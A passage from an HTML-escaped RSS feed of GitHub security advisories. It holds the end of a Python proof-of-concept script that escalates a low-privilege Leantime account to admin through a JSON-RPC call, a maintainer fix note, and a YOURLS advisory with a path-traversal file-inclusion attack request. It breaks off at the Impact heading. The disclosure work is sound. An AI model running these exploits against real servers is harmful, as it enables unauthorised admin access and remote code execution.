    &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;[+] Login succeeded (session cookie established).&quot;&lt;/span&gt;)

    &lt;span class=&quot;pl-c&quot;&gt;# Step 2: confirm the account genuinely has no admin rights via the web UI.&lt;/span&gt;
    &lt;span class=&quot;pl-s1&quot;&gt;check_resp&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;s&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;get&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;base_url&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;admin_check_path&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;allow_redirects&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;False&lt;/span&gt;)
    &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;check_resp&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;status_code&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;403&lt;/span&gt;:
        &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;[+] Confirmed: web UI correctly blocks this account from &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;admin_check_path&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt; (HTTP 403).&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-k&quot;&gt;else&lt;/span&gt;:
        &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;[!] Expected HTTP 403 from &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;admin_check_path&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;, got &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;check_resp&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;status_code&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;. &quot;&lt;/span&gt;
              &lt;span class=&quot;pl-s&quot;&gt;f&quot;Continuing anyway, but this account may not be low-privilege as assumed.&quot;&lt;/span&gt;)

    &lt;span class=&quot;pl-c&quot;&gt;# Step 3: the actual privilege escalation -- same session, no API key used.&lt;/span&gt;
    &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;[*] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) &quot;&lt;/span&gt;
          &lt;span class=&quot;pl-s&quot;&gt;&quot;using ONLY the low-privilege session from step 1 ...&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-s1&quot;&gt;esc_resp&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;rpc_call&lt;/span&gt;(
        &lt;span class=&quot;pl-s1&quot;&gt;s&lt;/span&gt;,
        &lt;span class=&quot;pl-s1&quot;&gt;base_url&lt;/span&gt;,
        &lt;span class=&quot;pl-s&quot;&gt;&quot;leantime.rpc.api.api.createApiKeyWithProjects&quot;&lt;/span&gt;,
        {&lt;span class=&quot;pl-s&quot;&gt;&quot;values&quot;&lt;/span&gt;: {&lt;span class=&quot;pl-s&quot;&gt;&quot;firstname&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s&quot;&gt;&quot;poc-escalated-admin-key&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;role&quot;&lt;/span&gt;: &lt;span class=&quot;pl-c1&quot;&gt;40&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;status&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s&quot;&gt;&quot;a&quot;&lt;/span&gt;}, &lt;span class=&quot;pl-s&quot;&gt;&quot;projects&quot;&lt;/span&gt;: []},
    )

    &lt;span class=&quot;pl-k&quot;&gt;try&lt;/span&gt;:
        &lt;span class=&quot;pl-s1&quot;&gt;esc_json&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;esc_resp&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;json&lt;/span&gt;()
    &lt;span class=&quot;pl-k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;pl-v&quot;&gt;ValueError&lt;/span&gt;:
        &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;[!] Non-JSON response (HTTP &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;esc_resp&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;status_code&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;): &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;esc_resp&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;text&lt;/span&gt;[:&lt;span class=&quot;pl-c1&quot;&gt;500&lt;/span&gt;]&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;)
        &lt;span class=&quot;pl-s1&quot;&gt;sys&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;exit&lt;/span&gt;(&lt;span class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;)

    &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;error&quot;&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;esc_json&lt;/span&gt;:
        &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;[!] Exploit call failed: &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;esc_json&lt;/span&gt;[&lt;span class=&quot;pl-s&quot;&gt;&#39;error&#39;&lt;/span&gt;]&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;)
        &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;    (If this is &#39;Method is not available via API&#39; or an AuthorizationException, &quot;&lt;/span&gt;
              &lt;span class=&quot;pl-s&quot;&gt;&quot;the target may already be patched.)&quot;&lt;/span&gt;)
        &lt;span class=&quot;pl-s1&quot;&gt;sys&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;exit&lt;/span&gt;(&lt;span class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;)

    &lt;span class=&quot;pl-s1&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;esc_json&lt;/span&gt;[&lt;span class=&quot;pl-s&quot;&gt;&quot;result&quot;&lt;/span&gt;]
    &lt;span class=&quot;pl-s1&quot;&gt;new_user&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;result&lt;/span&gt;[&lt;span class=&quot;pl-s&quot;&gt;&quot;user&quot;&lt;/span&gt;]
    &lt;span class=&quot;pl-s1&quot;&gt;new_pass&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;result&lt;/span&gt;[&lt;span class=&quot;pl-s&quot;&gt;&quot;passwordClean&quot;&lt;/span&gt;]
    &lt;span class=&quot;pl-s1&quot;&gt;new_role&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;result&lt;/span&gt;[&lt;span class=&quot;pl-s&quot;&gt;&quot;role&quot;&lt;/span&gt;]
    &lt;span class=&quot;pl-s1&quot;&gt;new_id&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;result&lt;/span&gt;[&lt;span class=&quot;pl-s&quot;&gt;&quot;id&quot;&lt;/span&gt;]
    &lt;span class=&quot;pl-s1&quot;&gt;api_key&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;f&quot;lt_&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;new_user&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;_&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;new_pass&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;

    &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;[+] VULNERABLE: server created a new account with attacker-chosen role, &quot;&lt;/span&gt;
          &lt;span class=&quot;pl-s&quot;&gt;&quot;with no permission check on the calling (low-privilege) account.&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;    New account id=&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;new_id&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;  role=&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;new_role&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt; (40 == admin)&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;    Generated credentials -- username: &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;new_user&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;  password: &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;new_pass&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;    (Nominal API key form: &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;api_key&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt; -- see note below.)&quot;&lt;/span&gt;)

    &lt;span class=&quot;pl-c&quot;&gt;# Step 4: prove the new account carries real, interactive admin privilege&lt;/span&gt;
    &lt;span class=&quot;pl-c&quot;&gt;# by logging in through the ORDINARY web login form and hitting the same&lt;/span&gt;
    &lt;span class=&quot;pl-c&quot;&gt;# admin-only page that blocked the original low-privilege account.&lt;/span&gt;
    &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;&quot;[*] Logging in through the normal web UI with the generated credentials ...&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-s1&quot;&gt;admin_session&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;requests&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;Session&lt;/span&gt;()
    &lt;span class=&quot;pl-s1&quot;&gt;admin_session&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;verify&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;verify&lt;/span&gt;
    &lt;span class=&quot;pl-s1&quot;&gt;admin_session&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;get&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;base_url&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;/auth/login&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-s1&quot;&gt;admin_login_resp&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;admin_session&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;post&lt;/span&gt;(
        &lt;span class=&quot;pl-s&quot;&gt;f&quot;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;base_url&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;/auth/login&quot;&lt;/span&gt;,
        &lt;span class=&quot;pl-s1&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;{&lt;span class=&quot;pl-s&quot;&gt;&quot;username&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s1&quot;&gt;new_user&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;password&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s1&quot;&gt;new_pass&lt;/span&gt;, &lt;span class=&quot;pl-s&quot;&gt;&quot;redirectUrl&quot;&lt;/span&gt;: &lt;span class=&quot;pl-s&quot;&gt;&quot;/dashboard/home&quot;&lt;/span&gt;},
        &lt;span class=&quot;pl-s1&quot;&gt;allow_redirects&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;False&lt;/span&gt;,
    )
    &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;admin_login_resp&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;status_code&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;&lt;span class=&quot;pl-c1&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;in&lt;/span&gt;&lt;/span&gt; (&lt;span class=&quot;pl-c1&quot;&gt;302&lt;/span&gt;, &lt;span class=&quot;pl-c1&quot;&gt;303&lt;/span&gt;):
        &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;[!] Web login with generated credentials failed (HTTP &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;admin_login_resp&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;status_code&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;).&quot;&lt;/span&gt;)
        &lt;span class=&quot;pl-s1&quot;&gt;sys&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;exit&lt;/span&gt;(&lt;span class=&quot;pl-c1&quot;&gt;1&lt;/span&gt;)

    &lt;span class=&quot;pl-s1&quot;&gt;admin_check_resp&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;admin_session&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;get&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;base_url&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;admin_check_path&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&quot;&lt;/span&gt;, &lt;span class=&quot;pl-s1&quot;&gt;allow_redirects&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;False&lt;/span&gt;)
    &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;admin_check_resp&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;status_code&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;200&lt;/span&gt;:
        &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, &quot;&lt;/span&gt;
              &lt;span class=&quot;pl-s&quot;&gt;f&quot;interactive admin access to &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;admin_check_path&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt; (HTTP 200) -- &quot;&lt;/span&gt;
              &lt;span class=&quot;pl-s&quot;&gt;f&quot;the exact page that returned 403 for the original account in step 2.&quot;&lt;/span&gt;)
    &lt;span class=&quot;pl-k&quot;&gt;else&lt;/span&gt;:
        &lt;span class=&quot;pl-en&quot;&gt;print&lt;/span&gt;(&lt;span class=&quot;pl-s&quot;&gt;f&quot;[!] Expected HTTP 200 from &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;args&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;admin_check_path&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt; with the escalated account, &quot;&lt;/span&gt;
              &lt;span class=&quot;pl-s&quot;&gt;f&quot;got &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;admin_check_resp&lt;/span&gt;.&lt;span class=&quot;pl-c1&quot;&gt;status_code&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;.&quot;&lt;/span&gt;)

&lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;__name__&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;__main__&quot;&lt;/span&gt;:
    &lt;span class=&quot;pl-en&quot;&gt;main&lt;/span&gt;()&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Maintainer note (resolution):&lt;/strong&gt; Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a title=&quot;GHSA-54mm-6729-r5wp&quot; href=&quot;https://github.com/Leantime/leantime/security/advisories/GHSA-54mm-6729-r5wp&quot;&gt;GHSA-54mm-6729-r5wp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2026-85990&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2026-85990&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;4810794317&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/Leantime/leantime/issues/3583&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/Leantime/leantime/pull/3583/hovercard&quot; href=&quot;https://github.com/Leantime/leantime/pull/3583&quot;&gt;Leantime/leantime#3583&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;5570935959&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/Leantime/leantime/issues/3797&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/Leantime/leantime/pull/3797/hovercard&quot; href=&quot;https://github.com/Leantime/leantime/pull/3797&quot;&gt;Leantime/leantime#3797&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/Leantime/leantime/commit/5605e5ee86bbd01acb85c6b5d8fb337faf8bcf02/hovercard&quot; href=&quot;https://github.com/Leantime/leantime/commit/5605e5ee86bbd01acb85c6b5d8fb337faf8bcf02&quot;&gt;Leantime/leantime@&lt;tt&gt;5605e5e&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/Leantime/leantime/commit/7ebf7a9517e2aaa05ec15b8130ab1841a4bde43e/hovercard&quot; href=&quot;https://github.com/Leantime/leantime/commit/7ebf7a9517e2aaa05ec15b8130ab1841a4bde43e&quot;&gt;Leantime/leantime@&lt;tt&gt;7ebf7a9&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Leantime/leantime/releases/tag/v3.10.0&quot;&gt;https://github.com/Leantime/leantime/releases/tag/v3.10.0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
  </description><link>https://github.com/advisories/GHSA-54mm-6729-r5wp</link><guid isPermaLink="false">https://github.com/advisories/GHSA-54mm-6729-r5wp</guid><pubDate>Thu, 15 Oct 2026 20:14:43 GMT</pubDate></item><item><title>YOURLS: Unauthenticated File Inclusion</title><description>&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;YOURLS versions ≤1.10.4 contain an unauthenticated path traversal vulnerability that allows attackers to include and execute arbitrary PHP files on the server without any credentials.&lt;/p&gt;
&lt;h2&gt;Details&lt;/h2&gt;
&lt;p&gt;The vulnerability exists because YOURLS uses &lt;strong&gt;URL sanitization functions&lt;/strong&gt; (&lt;code class=&quot;notranslate&quot;&gt;yourls_sanitize_url()&lt;/code&gt;, &lt;code class=&quot;notranslate&quot;&gt;yourls_esc_url()&lt;/code&gt;) to filter request paths, but these functions are designed to clean URLs, not filesystem paths. They preserve &lt;code class=&quot;notranslate&quot;&gt;/&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;.&lt;/code&gt; characters, allowing &lt;code class=&quot;notranslate&quot;&gt;../&lt;/code&gt; sequences to pass through unfiltered.&lt;/p&gt;
&lt;p&gt;The unsanitized keyword is then directly concatenated into a filesystem path and passed to &lt;code class=&quot;notranslate&quot;&gt;file_exists()&lt;/code&gt; and later &lt;code class=&quot;notranslate&quot;&gt;include()&lt;/code&gt; operations, enabling path traversal attacks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Data Flow:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;HTTP Request URI (with ../)
    ↓
yourls_get_request() (no sanitization)
    ↓
yourls_sanitize_url() (preserves / and .)
    ↓
yourls_esc_url() (permits / and . via regex)
    ↓
Keyword extraction (preserves ../)
    ↓
file_exists(YOURLS_PAGEDIR . &quot;/$keyword.php&quot;)  ← Sink
    ↓
include(YOURLS_PAGEDIR . &quot;/$keyword.php&quot;)      ← Code Execution
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Proof of Concept (POC)&lt;/h2&gt;
&lt;p&gt;In the concept validation, we assume that the attacker has uploaded a &lt;code class=&quot;notranslate&quot;&gt;test.php&lt;/code&gt; file to the web root directory, but it cannot be accessed directly. (Of course, it could also be any path, such as &lt;code class=&quot;notranslate&quot;&gt;/tmp/test.php&lt;/code&gt;)&lt;/p&gt;
&lt;h3&gt;Setup&lt;/h3&gt;
&lt;p&gt;Place a test file in web root:&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;notranslate&quot;&gt;./test.php&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight highlight-text-html-php&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-ent&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;pl-en&quot;&gt;phpinfo&lt;/span&gt;();
&lt;span class=&quot;pl-ent&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/user-attachments/assets/14f33f90-625b-4c65-8abf-244af2385f68&quot;&gt;&lt;img width=&quot;502&quot; height=&quot;126&quot; alt=&quot;image&quot; src=&quot;https://github.com/user-attachments/assets/14f33f90-625b-4c65-8abf-244af2385f68&quot; style=&quot;max-width: 100%; height: auto; max-height: 126px;; aspect-ratio: 502 / 126; background-color: var(--bgColor-muted); border-radius: 6px&quot; class=&quot;js-gh-image-fallback&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Attack Request&lt;/h3&gt;
&lt;div class=&quot;highlight highlight-source-httpspec&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt; /../../test HTTP/1.1&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Host:&lt;/span&gt; target.com&lt;/span&gt;
&lt;span class=&quot;pl-s&quot;&gt;&lt;span class=&quot;pl-v&quot;&gt;Connection:&lt;/span&gt; close&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Response (Apache Environment)&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/user-attachments/assets/8750a3c0-a96c-4896-a087-d7b5cfeccd30&quot;&gt;&lt;img width=&quot;1704&quot; height=&quot;614&quot; alt=&quot;image&quot; src=&quot;https://github.com/user-attachments/assets/8750a3c0-a96c-4896-a087-d7b5cfeccd30&quot; style=&quot;max-width: 100%; height: auto; max-height: 614px;; aspect-ratio: 1704 / 614; background-color: var(--bgColor-muted); border-radius: 6px&quot; class=&quot;js-gh-image-fallback&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;ol&gt;
